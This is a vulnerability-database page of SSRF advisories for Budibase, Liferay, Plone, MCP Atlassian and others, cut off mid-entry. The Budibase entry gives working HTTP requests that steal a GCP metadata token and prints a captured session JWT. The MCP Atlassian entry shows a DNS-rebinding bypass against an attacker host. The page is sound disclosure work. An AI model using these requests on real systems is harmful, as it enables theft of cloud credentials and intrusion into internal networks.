Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4862 vulnerabilities reference this CWE, most recent first.

GHSA-4647-WPJQ-HH7F

Vulnerability from github – Published: 2026-03-18 20:22 – Updated: 2026-03-25 18:15
VLAI
Summary
Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview
Details

Summary

The REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration.

Details

The vulnerable handler is in packages/server/src/api/controllers/query.ts (preview()). It reads fields.path from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:

fields.path  →  RestClient.read({ path })  →  node-fetch(path)

No blocklist exists for: - Loopback (127.0.0.1, ::1) - RFC 1918 ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x) - Link-local / cloud metadata (169.254.x.x) - Internal Kubernetes DNS (.svc.cluster.local)

The datasourceId field must reference an existing REST-type datasource. This is trivially obtained via GET /api/datasources (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and fields.path overrides it entirely.

PoC

Step 1 — Get session token

POST /api/global/auth/default/login HTTP/1.1
Host: budibase.dev.com
Content-Type: application/json

{"username": "admin@example.com", "password": "password"}

Response sets Cookie: budibase:auth=<JWT>.

Step 2 — Get a REST datasourceId

GET /api/datasources HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b

Pick any _id where "source": "REST".

Captured from this engagement: - Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs - App ID: app_dev_3dbfeba315fd4baa8fb6202fe517e93b - REST datasource ID: datasource_49d5a1ed1c6149e48c4de0923e5b20c5

Step 3 — Send SSRF request

Change fields.path to any internal URL. Examples below.

3a. Cloud metadata — GCP OAuth2 token

POST /api/queries/preview HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
Content-Type: application/json

{
  "datasourceId": "datasource_49d5a1ed1c6149e48c4de0923e5b20c5",
  "name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read",
  "fields": {
    "path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
    "headers": {"Metadata-Flavor": "Google"},
    "queryString": "", "requestBody": ""
  },
  "schema": {}
}

Response:

{"access_token": "ya29.d.c0AZ4bNpYDUK...", "expires_in": 3598, "token_type": "Bearer"}

Impact

What kind of vulnerability is it? Who is impacted? Any authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:

  • Cloud credential theft — GCP OAuth2 token with cloud-platform scope stolen from 169.254.169.254. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.
  • Internal database access — CouchDB reached at budibase-svc-couchdb:5984 with extracted credentials, exposing all application data.
  • Internal service enumeration — MinIO (minio-service:9000), Redis, and internal worker APIs (127.0.0.1:4002) all reachable.
  • Kubernetes cluster access — K8s API server reachable at kubernetes.default.svc using the pod's mounted service account token.

The vulnerability affects all deployment environments (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.

Detected by: Abdulrahman Albatel Abdullah Alrasheed

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "budibase"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.30.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T20:22:11Z",
    "nvd_published_at": "2026-03-20T23:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe REST datasource query preview endpoint (`POST /api/queries/preview`) makes server-side HTTP requests to any URL supplied by the user in `fields.path` with no validation. An authenticated admin can reach internal services that are not exposed to the internet \u2014 including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with `cloud-platform` scope (full GCP access). On any deployment it enables full internal network enumeration.\n\n### Details\n\nThe vulnerable handler is in `packages/server/src/api/controllers/query.ts` (`preview()`). It reads `fields.path` from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:\n\n```\nfields.path  \u2192  RestClient.read({ path })  \u2192  node-fetch(path)\n```\n\nNo blocklist exists for:\n- Loopback (`127.0.0.1`, `::1`)\n- RFC 1918 ranges (`10.x.x.x`, `172.16-31.x.x`, `192.168.x.x`)\n- Link-local / cloud metadata (`169.254.x.x`)\n- Internal Kubernetes DNS (`.svc.cluster.local`)\n\nThe `datasourceId` field must reference an existing REST-type datasource. This is trivially obtained via `GET /api/datasources` (lists all datasources with their IDs) or created on-demand with a single POST \u2014 no base URL is required and `fields.path` overrides it entirely.\n\n### PoC\n\n**Step 1 \u2014 Get session token**\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: budibase.dev.com\nContent-Type: application/json\n\n{\"username\": \"admin@example.com\", \"password\": \"password\"}\n```\nResponse sets `Cookie: budibase:auth=\u003cJWT\u003e`.\n\n**Step 2 \u2014 Get a REST datasourceId**\n```http\nGET /api/datasources HTTP/1.1\nHost: budibase.dev.com\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs\nx-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b\n```\nPick any `_id` where `\"source\": \"REST\"`.\n\nCaptured from this engagement:\n- Token: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs`\n- App ID: `app_dev_3dbfeba315fd4baa8fb6202fe517e93b`\n- REST datasource ID: `datasource_49d5a1ed1c6149e48c4de0923e5b20c5`\n\n**Step 3 \u2014 Send SSRF request**\n\nChange `fields.path` to any internal URL. Examples below.\n\n**3a. Cloud metadata \u2014 GCP OAuth2 token**\n```http\nPOST /api/queries/preview HTTP/1.1\nHost: budibase.dev.com\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs\nx-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b\nContent-Type: application/json\n\n{\n  \"datasourceId\": \"datasource_49d5a1ed1c6149e48c4de0923e5b20c5\",\n  \"name\": \"ssrf\", \"parameters\": [], \"transformer\": \"return data\", \"queryVerb\": \"read\",\n  \"fields\": {\n    \"path\": \"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\",\n    \"headers\": {\"Metadata-Flavor\": \"Google\"},\n    \"queryString\": \"\", \"requestBody\": \"\"\n  },\n  \"schema\": {}\n}\n```\nResponse:\n```json\n{\"access_token\": \"ya29.d.c0AZ4bNpYDUK...\", \"expires_in\": 3598, \"token_type\": \"Bearer\"}\n```\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nAny authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:\n\n- **Cloud credential theft** \u2014 GCP OAuth2 token with `cloud-platform` scope stolen from `169.254.169.254`. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.\n- **Internal database access** \u2014 CouchDB reached at `budibase-svc-couchdb:5984` with extracted credentials, exposing all application data.\n- **Internal service enumeration** \u2014 MinIO (`minio-service:9000`), Redis, and internal worker APIs (`127.0.0.1:4002`) all reachable.\n- **Kubernetes cluster access** \u2014 K8s API server reachable at `kubernetes.default.svc` using the pod\u0027s mounted service account token.\n\nThe vulnerability affects **all deployment environments** (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.\n\n\n\n\nDetected by:\nAbdulrahman Albatel\nAbdullah Alrasheed",
  "id": "GHSA-4647-wpjq-hh7f",
  "modified": "2026-03-25T18:15:24Z",
  "published": "2026-03-18T20:22:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4647-wpjq-hh7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33226"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview"
}

GHSA-46JJ-588G-JH7G

Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2022-05-24 17:47
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability in Group Office 6.4.196 allows a remote attacker to forge GET requests to arbitrary URLs via the url parameter to group/api/upload.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-28060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-14T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability in Group Office 6.4.196 allows a remote attacker to forge GET requests to arbitrary URLs via the url parameter to group/api/upload.php.",
  "id": "GHSA-46jj-588g-jh7g",
  "modified": "2022-05-24T17:47:37Z",
  "published": "2022-05-24T17:47:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28060"
    },
    {
      "type": "WEB",
      "url": "https://fatihhcelik.blogspot.com/2020/12/group-office-crm-ssrf.html"
    },
    {
      "type": "WEB",
      "url": "https://fatihhcelik.github.io/posts/Group-Office-CRM-SSRF"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-46M9-H86M-P3XH

Vulnerability from github – Published: 2026-04-14 00:31 – Updated: 2026-04-14 00:31
VLAI
Details

A vulnerability was identified in HummerRisk up to 1.5.0. This vulnerability affects the function ServerService.addServer of the file ServerService.java of the component Video File Download URL Handler. Such manipulation of the argument streamIp leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-6220"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-13T22:16:30Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in HummerRisk up to 1.5.0. This vulnerability affects the function ServerService.addServer of the file ServerService.java of the component Video File Download URL Handler. Such manipulation of the argument streamIp leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-46m9-h86m-p3xh",
  "modified": "2026-04-14T00:31:12Z",
  "published": "2026-04-14T00:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6220"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ccccccctiiiiiiii-lab/public_exp/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/785855"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/357141"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/357141/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-46MR-VGX5-FC36

Vulnerability from github – Published: 2026-05-19 18:32 – Updated: 2026-05-20 15:35
VLAI
Details

scalar/astro v0.1.13 was discovered to contain a Server-Side Request Forgery (SSRF) in the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows unauthenticated attackers to force the backend server to send HTTP requests to attacker-controlled URLs, leading to authentication cookies and headers exposure and possible privilege escalation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-30118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T16:16:20Z",
    "severity": "CRITICAL"
  },
  "details": "scalar/astro v0.1.13 was discovered to contain a Server-Side Request Forgery (SSRF) in the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows unauthenticated attackers to force the backend server to send HTTP requests to attacker-controlled URLs, leading to authentication cookies and headers exposure and possible privilege escalation.",
  "id": "GHSA-46mr-vgx5-fc36",
  "modified": "2026-05-20T15:35:23Z",
  "published": "2026-05-19T18:32:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30118"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prassan10/ssrf-zero-click-ato-scalar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-477Q-X55M-J38G

Vulnerability from github – Published: 2025-09-09 00:31 – Updated: 2025-09-10 20:04
VLAI
Summary
Liferay Portal is vulnerable to SSRF through custom object attachment fields
Details

A server-side request forgery (SSRF) vulnerability exist in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.7, 2024.Q3.0 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13 and 2024.Q1.1 through 2024.Q1.20 that affects custom object attachment fields. This flaw allows an attacker to manipulate the application into making unauthorized requests to other instances, creating new object entries that link to external resources.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay:com.liferay.object.service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.208"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-43763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-10T19:58:09Z",
    "nvd_published_at": "2025-09-09T00:15:32Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery (SSRF) vulnerability exist in the Liferay Portal  7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.7, 2024.Q3.0 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13 and 2024.Q1.1 through 2024.Q1.20 that affects custom object attachment fields. This flaw allows an attacker to manipulate the application into making unauthorized requests to other instances, creating new object entries that link to external resources.",
  "id": "GHSA-477q-x55m-j38g",
  "modified": "2025-09-10T20:04:36Z",
  "published": "2025-09-09T00:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43763"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal/commit/0adf32842d055f40accc8b341c4feb11a9728261"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal/commit/e5fe3f9e9916e66a896e7c321e641c6eabbf4dae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://liferay.atlassian.net/browse/LPE-18182"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-43763"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Liferay Portal is vulnerable to SSRF through custom object attachment fields"
}

GHSA-47G3-VPFV-8V8Q

Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2024-04-04 01:58
VLAI
Details

Pydio 6.0.8 allows Authenticated SSRF during a Remote Link Feature download. An attacker can specify an intranet address in the file parameter to index.php, when sending a file to a remote server, as demonstrated by the file=http%3A%2F%2F192.168.1.2 substring.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-15033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-19T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Pydio 6.0.8 allows Authenticated SSRF during a Remote Link Feature download. An attacker can specify an intranet address in the file parameter to index.php, when sending a file to a remote server, as demonstrated by the file=http%3A%2F%2F192.168.1.2 substring.",
  "id": "GHSA-47g3-vpfv-8v8q",
  "modified": "2024-04-04T01:58:17Z",
  "published": "2022-05-24T16:56:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15033"
    },
    {
      "type": "WEB",
      "url": "https://heitorgouvea.me/2019/09/17/CVE-2019-15033"
    },
    {
      "type": "WEB",
      "url": "https://pydio.com"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/projects/ajaxplorer/files/pydio/stable-channel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-47P5-P3JW-W78W

Vulnerability from github – Published: 2023-02-17 18:30 – Updated: 2025-03-19 15:42
VLAI
Summary
Server-Side Request Forgery in Plone CMS
Details

An issue in Plone CMS allows attacker to access sensitive information via the RSS feed protlet.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Plone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3"
            },
            {
              "fixed": "5.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-33926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-17T20:50:53Z",
    "nvd_published_at": "2023-02-17T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue in Plone CMS allows attacker to access sensitive information via the RSS feed protlet.",
  "id": "GHSA-47p5-p3jw-w78w",
  "modified": "2025-03-19T15:42:38Z",
  "published": "2023-02-17T18:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33926"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/plone/Plone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/plone/PYSEC-2023-289.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/s-kustm/Subodh/blob/master/Plone%205.2.4%20Vulnerable%20to%20bilend%20SSRF.pdf"
    },
    {
      "type": "WEB",
      "url": "https://plone.org/security/hotfix/20210518"
    },
    {
      "type": "WEB",
      "url": "https://plone.org/security/hotfix/20210518/blind-ssrf-via-feedparser-accessing-an-internal-url"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Server-Side Request Forgery in Plone CMS"
}

GHSA-489G-7RXV-6C8Q

Vulnerability from github – Published: 2026-07-10 18:01 – Updated: 2026-07-10 18:01
VLAI
Summary
MCP Atlassian: DNS-rebinding TOCTOU bypass of the SSRF fix (CVE-2026-27826)
Details

Summary

GHSA-7r34-79r5-rcc9's fix added validate_url_for_ssrf, which resolves the attacker-controlled X-Atlassian-{Jira,Confluence}-Url header host once at middleware time and trusts the result. But the outbound request is later built with the raw hostname and re-resolves at connect time with no IP pinning. An attacker-controlled rebinding DNS name returns a public IP on the guard's lookup (validation passes) and 169.254.169.254 / an internal IP on the request's lookup (the socket connects there) → unauthenticated SSRF to cloud metadata / internal services on the patched build.

Relationship to CVE-2026-27826 / GHSA-7r34-79r5-rcc9 (incomplete fix — please read first)

This is an incomplete-fix sibling of the published GHSA-7r34-79r5-rcc9 (the X-Atlassian-*-Url header SSRF). That fix (PR #986/#1005) added a single middleware-time resolve + allowlist DNS-skip, but does not pin the validated IP to the connection — the fetcher re-resolves the raw hostname at connect time, so the documented SSRF mitigation is incomplete against DNS-rebinding. The other advisory GHSA-xjgw-4wvw-rgm4 (file-write) is unrelated. Verified live (2026-06-27): neither advisory, nor any open PR/issue (rebind/TOCTOU/getaddrinfo/pin → 0), covers connect-time re-resolution. Filing as an incomplete-fix of GHSA-7r34 (not a standalone fresh SSRF).

Affected

src/mcp_atlassian/utils/urls.py + servers/main.py + servers/dependencies.py, HEAD ba72540 (PyPI mcp-atlassian, patched ≥0.17.0). CWE-918 (SSRF) via CWE-367 (TOCTOU).

Vulnerable code

utils/urls.py validate_url_for_ssrf (≈184-205) resolves + validates, then returns a string verdict, not a pinned IP:

def validate_url_for_ssrf(url: str) -> str | None:   # returns an error string or None — NO IP is pinned
    ...
    # resolves the host, checks each resolved IP is global, then DISCARDS the IP

servers/main.py:526,534 calls it once in middleware. servers/dependencies.py:544-561 then builds the fetcher with url = <raw header hostname> (no pinned IP, no custom resolver / cached-getaddrinfo adapter), so the actual request re-resolves the name.

PoC (executed — boundary demonstration)

The PoC loads the real urls.py by path (importlib, sha256 printed) and drives the genuine validate_url_for_ssrf, simulating the two resolutions via getaddrinfo:

[CHECK ] validate_url_for_ssrf('http://rebind.attacker.example') -> None        (getaddrinfo#1 = 93.184.216.34 global -> guard PASSED)
[CONNECT] getaddrinfo call #2 returned 169.254.169.254 -> the socket connects HERE
[PROOF ] guard validated IP 93.184.216.34 but connection targets 169.254.169.254  => SSRF on the PATCHED build
[CONTROL] if guard SAW 169.254.169.254 at check time -> blocks it correctly
[PIN   ] validate_url_for_ssrf returns a verdict (None), NOT an IP; dependencies.py builds url=raw hostname -> NO pin
ALL PoC ASSERTIONS PASSED — DNS-rebind TOCTOU bypass demonstrated.

Honest scope of the PoC: this is a boundary demonstration — it proves the structural TOCTOU (the guard validates an IP it then discards; the connection re-resolves an unpinned hostname). It does not demonstrate a live end-to-end SSRF on a running server; that additionally requires an attacker-controlled fast-rebinding authoritative DNS responder winning the resolve→connect window. Flagging this explicitly rather than overclaiming.

Impact

Same as parent GHSA-7r34 (unauth read of cloud-metadata IAM creds / internal-service reach), reachable again on the patched version. The X-Atlassian-*-Url headers are processed in UserTokenMiddleware before fetcher creation, so an unauthenticated/low-priv caller controls the host.

Severity

High — CVSS v3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N ≈ 7.x, aligned to the parent (8.2) with AC:H for the rebinding-race precondition. Honest caveat (above): the executed PoC proves the missing IP-pin structurally; a live exploit additionally needs an attacker rebinding-DNS. Not Critical.

Remediation

Pin the connection to the IP that validate_url_for_ssrf validated: use a custom resolver / cached-getaddrinfo requests-adapter (or pass the validated IP with a Host header), so the connect cannot re-resolve to a different address.

Dedup / freshness (re-verified live 2026-06-27)

Advisories GHSA-7r34-79r5-rcc9 (original header SSRF this bypasses) + GHSA-xjgw-4wvw-rgm4 (file-write, unrelated). Neither covers connect-time re-resolution / rebinding. PR #986/#1005 (the fix) add a single middleware-time resolve + allowlist DNS-skip, no pinning. gh search prs/issues for rebind/TOCTOU/getaddrinfo/pin → 0. First-party code. Fresh at HEAD ba72540.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T18:01:22Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nGHSA-7r34-79r5-rcc9\u0027s fix added `validate_url_for_ssrf`, which resolves the attacker-controlled `X-Atlassian-{Jira,Confluence}-Url` header host **once at middleware time** and trusts the result. But the outbound request is later built with the **raw hostname** and **re-resolves at connect time with no IP pinning**. An attacker-controlled rebinding DNS name returns a public IP on the guard\u0027s lookup (validation passes) and `169.254.169.254` / an internal IP on the request\u0027s lookup (the socket connects there) \u2192 unauthenticated SSRF to cloud metadata / internal services on the **patched** build.\n\n### Relationship to CVE-2026-27826 / GHSA-7r34-79r5-rcc9 (incomplete fix \u2014 please read first)\nThis is an **incomplete-fix sibling** of the published `GHSA-7r34-79r5-rcc9` (the `X-Atlassian-*-Url` header SSRF). That fix (PR #986/#1005) added a single middleware-time resolve + allowlist DNS-skip, but **does not pin the validated IP to the connection** \u2014 the fetcher re-resolves the raw hostname at connect time, so the documented SSRF mitigation is incomplete against DNS-rebinding. The other advisory `GHSA-xjgw-4wvw-rgm4` (file-write) is unrelated. Verified live (2026-06-27): neither advisory, nor any open PR/issue (`rebind`/`TOCTOU`/`getaddrinfo`/`pin` \u2192 0), covers connect-time re-resolution. Filing as an incomplete-fix of GHSA-7r34 (not a standalone fresh SSRF).\n\n### Affected\n`src/mcp_atlassian/utils/urls.py` + `servers/main.py` + 